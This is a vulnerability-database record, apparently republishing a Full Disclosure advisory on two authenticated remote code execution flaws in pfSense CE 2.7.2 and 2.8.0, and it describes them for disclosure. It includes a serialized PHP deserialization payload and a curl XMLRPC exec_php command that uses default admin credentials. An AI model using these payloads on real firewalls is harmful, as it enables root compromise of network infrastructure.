GCVE-1988-2026-0187
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[Full Disclosure] CVE-2025-69690 & CVE-2025-69691 — Authenticated RCE in Netgate pfSense CE 2.7.2 and 2.8.0
Summary
Advisory: Authenticated Remote Code Execution in pfSense CECVEs: CVE-2025-69690, CVE-2025-69691
Researcher: Nelson Adhepeau (privexploits () protonmail com)
Date: February 2026
== RESPONSIBLE DISCLOSURE NOTICE ==
This advisory is published in accordance with responsible disclosure practices.
The vendor was notified on December 2, 2025, acknowledged the reports, and indicated no patches would be issued.
Publication follows standard 90-day disclosure guidelines.
-------------------------------------------------------------
== OVERVIEW ==
Two independent authenticated Remote Code Execution
vulnerabilities were discovered in Netgate pfSense Community
Edition. Both were reproduced on clean installations. Vendor
was contacted and acknowledged the reports but classified both
as expected behavior for authenticated administrators.
-------------------------------------------------------------
== CVE-2025-69690 ==
Authenticated RCE via Unsafe Deserialization (pfSense CE 2.7.2)
CVSS v3.1: 8.8 (High)
Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-502: Deserialization of Untrusted Data
CWE-915: Improperly Controlled Dynamic Code Evaluation
-- Description --
The pfSense configuration restore mechanism invokes
unserialize() on user-controlled data without class
whitelisting, input validation, or sandboxing.
A crafted backup file containing a malicious serialized PHP
object can inject arbitrary commands via the
post_reboot_commands property, executed through mwexec()
with full root privileges.
-- Affected Component --
backup/restore mechanism, config.php,
pfsense_module_installer class, unserialize() handling
-- Attack Vector --
1. Attacker authenticates as administrator
2. Uploads malicious configuration backup file
3. Triggers restore operation
4. pfSense unserializes attacker-controlled data
5. Commands execute as root via mwexec()
-- PoC Payload --
O:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";}}
-- Impact --
- Arbitrary command execution as root
- Persistent compromise
- Complete firewall takeover
- Credential and configuration exfiltration
-- Vendor Response --
Netgate acknowledged the report. Classified as
"authenticated administrative abuse". No patch issued.
Vendor does not assign CVEs directly.
-------------------------------------------------------------
== CVE-2025-69691 ==
Authenticated RCE via XMLRPC exec_php (pfSense CE 2.8.0)
CVSS v3.1: 9.9 (Critical)
Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-284: Improper Access Control
CWE-915: Improperly Controlled Dynamic Code Evaluation
-- Description --
pfSense CE 2.8.0 exposes an XMLRPC API method
pfsense.exec_php that executes arbitrary PHP code as root
without validation, sandboxing, or restrictions.
The endpoint is enabled by default, accessible over HTTPS
via Basic Authentication, and executes supplied code
immediately with full system privileges. Default credentials
(admin:pfsense) are widely deployed, significantly lowering
the exploitation barrier.
-- Affected Component --
xmlrpc.php, pfsense.exec_php method, XMLRPC API handler,
BasicAuth authentication layer
-- Attack Vector --
curl -k -u admin:pfsense \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params><param><value><string>
system("id");
</string></value></param></params>
</methodCall>' \
https://<target>/xmlrpc.php
-- Impact --
- Full remote root compromise
- Arbitrary file read/write
- Backdoor deployment
- Firewall rule manipulation
- Extraction of secrets and configurations
-- Vendor Response --
Netgate acknowledged the report. Classified as expected
behavior for authenticated users. No patch in pfSense CE
2.8.0. Still exploitable as of latest version at time
of disclosure.
-------------------------------------------------------------
== TIMELINE ==
- November 2025: Vulnerabilities discovered
- December 2, 2025: Initial report sent to Netgate
- Netgate acknowledged, no patch planned
- January 28, 2026: CVEs assigned by MITRE
- February 2026: Public disclosure
-------------------------------------------------------------
== REFERENCES ==
CVE-2025-69690:
https://cve.org/CVERecord?id=CVE-2025-69690
CVE-2025-69691:
https://cve.org/CVERecord?id=CVE-2025-69691
Researcher:
https://github.com/privlabs
https://linkedin.com/in/nelson-adhepeau
-------------------------------------------------------------
Nelson Adhepeau
Independent Security Researcherprivexploits () protonmail com
Envoyé avec un e-mail sécurisé Proton Mail._______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Cve | CVE-2025-69690 & CVE-2025-69691 |
Affected:
unknown
|
guessed |
Relationships
analysis
GCVE-1988-2026-0187 (this record)
- related CVE-2025-69690
- related CVE-2025-69691
{
"containers": {
"cna": {
"affected": [
{
"product": "CVE-2025-69690 \u0026 CVE-2025-69691",
"vendor": "Cve",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "privexploits via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory: Authenticated Remote Code Execution in pfSense CECVEs: CVE-2025-69690, CVE-2025-69691\nResearcher: Nelson Adhepeau (privexploits () protonmail com)\nDate: February 2026\n\n\n== RESPONSIBLE DISCLOSURE NOTICE ==\n\nThis advisory is published in accordance with responsible disclosure practices.\u00a0\n\nThe vendor was notified on December 2, 2025, acknowledged the reports, and indicated no patches would be issued. \nPublication follows standard 90-day disclosure guidelines.\n\n-------------------------------------------------------------\n\n== OVERVIEW ==\n\nTwo independent authenticated Remote Code Execution\nvulnerabilities were discovered in Netgate pfSense Community\nEdition. Both were reproduced on clean installations. Vendor\nwas contacted and acknowledged the reports but classified both\nas expected behavior for authenticated administrators.\n\n-------------------------------------------------------------\n\n== CVE-2025-69690 ==\nAuthenticated RCE via Unsafe Deserialization (pfSense CE 2.7.2)\n\nCVSS v3.1: 8.8 (High)\nVector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\nCWE-502: Deserialization of Untrusted Data\nCWE-915: Improperly Controlled Dynamic Code Evaluation\n\n-- Description --\n\nThe pfSense configuration restore mechanism invokes\nunserialize() on user-controlled data without class\nwhitelisting, input validation, or sandboxing.\n\nA crafted backup file containing a malicious serialized PHP\nobject can inject arbitrary commands via the\npost_reboot_commands property, executed through mwexec()\nwith full root privileges.\n\n-- Affected Component --\n\nbackup/restore mechanism, config.php,\npfsense_module_installer class, unserialize() handling\n\n-- Attack Vector --\n\n1. Attacker authenticates as administrator\n2. Uploads malicious configuration backup file\n3. Triggers restore operation\n4. pfSense unserializes attacker-controlled data\n5. Commands execute as root via mwexec()\n\n-- PoC Payload --\n\nO:23:\"pfsense_module_installer\":1:{\n\u00a0 s:17:\"*post_reboot_commands\";\n\u00a0 a:1:{i:0;s:40:\"/usr/local/bin/php -r \u0027system(\\\"id\\\");\u0027\";}}\n\n-- Impact --\n\n- Arbitrary command execution as root\n- Persistent compromise\n- Complete firewall takeover\n- Credential and configuration exfiltration\n\n-- Vendor Response --\n\nNetgate acknowledged the report. Classified as\n\"authenticated administrative abuse\". No patch issued.\nVendor does not assign CVEs directly.\n\n-------------------------------------------------------------\n\n== CVE-2025-69691 ==\nAuthenticated RCE via XMLRPC exec_php (pfSense CE 2.8.0)\n\nCVSS v3.1: 9.9 (Critical)\nVector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\nCWE-284: Improper Access Control\nCWE-915: Improperly Controlled Dynamic Code Evaluation\n\n-- Description --\n\npfSense CE 2.8.0 exposes an XMLRPC API method\npfsense.exec_php that executes arbitrary PHP code as root\nwithout validation, sandboxing, or restrictions.\n\nThe endpoint is enabled by default, accessible over HTTPS\nvia Basic Authentication, and executes supplied code\nimmediately with full system privileges. Default credentials\n(admin:pfsense) are widely deployed, significantly lowering\nthe exploitation barrier.\n\n-- Affected Component --\n\nxmlrpc.php, pfsense.exec_php method, XMLRPC API handler,\nBasicAuth authentication layer\n\n-- Attack Vector --\n\ncurl -k -u admin:pfsense \\\n\u00a0 -d \u0027\u003cmethodCall\u003e\n\u00a0 \u00a0 \u003cmethodName\u003epfsense.exec_php\u003c/methodName\u003e\n\u00a0 \u00a0 \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003cstring\u003e\n\u00a0 \u00a0 \u00a0 system(\"id\");\n\u00a0 \u00a0 \u003c/string\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u00a0 \u003c/methodCall\u003e\u0027 \\\n\u00a0 https://\u003ctarget\u003e/xmlrpc.php\n\n-- Impact --\n\n- Full remote root compromise\n- Arbitrary file read/write\n- Backdoor deployment\n- Firewall rule manipulation\n- Extraction of secrets and configurations\n\n-- Vendor Response --\n\nNetgate acknowledged the report. Classified as expected\nbehavior for authenticated users. No patch in pfSense CE\n2.8.0. Still exploitable as of latest version at time\nof disclosure.\n\n-------------------------------------------------------------\n\n== TIMELINE ==\n\n- November 2025: Vulnerabilities discovered\n- December 2, 2025: Initial report sent to Netgate\n- Netgate acknowledged, no patch planned\n- January 28, 2026: CVEs assigned by MITRE\n- February 2026: Public disclosure\n\n-------------------------------------------------------------\n\n== REFERENCES ==\n\nCVE-2025-69690:\nhttps://cve.org/CVERecord?id=CVE-2025-69690\n\nCVE-2025-69691:\nhttps://cve.org/CVERecord?id=CVE-2025-69691\n\nResearcher:\nhttps://github.com/privlabs\nhttps://linkedin.com/in/nelson-adhepeau\n\n-------------------------------------------------------------\nNelson Adhepeau\nIndependent Security Researcherprivexploits () protonmail com\n\n\nEnvoy\u00e9 avec un e-mail s\u00e9curis\u00e9 Proton Mail._______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-284",
"description": "CWE-284",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-502",
"description": "CWE-502",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-915",
"description": "CWE-915",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:47Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/16"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/16"
},
{
"url": "https://cve.org/CVERecord?id=CVE-2025-69690"
},
{
"url": "https://cve.org/CVERecord?id=CVE-2025-69691"
},
{
"url": "https://github.com/privlabs"
},
{
"url": "https://linkedin.com/in/nelson-adhepeau"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/16"
],
"discovery": "EXTERNAL"
},
"title": "[Full Disclosure] CVE-2025-69690 \u0026 CVE-2025-69691 \u2014 Authenticated RCE in Netgate pfSense CE 2.7.2 and 2.8.0",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2025-69690",
"type": "related"
},
{
"destId": "CVE-2025-69691",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0187",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/16",
"automated": true,
"contentSha256": "a3a7e23d245c41605776753f9e09c79964dff2ba5b758a5485a90b64609442fd",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/16",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-16T14:09:25Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0187"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-09T10:11:47Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0187"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…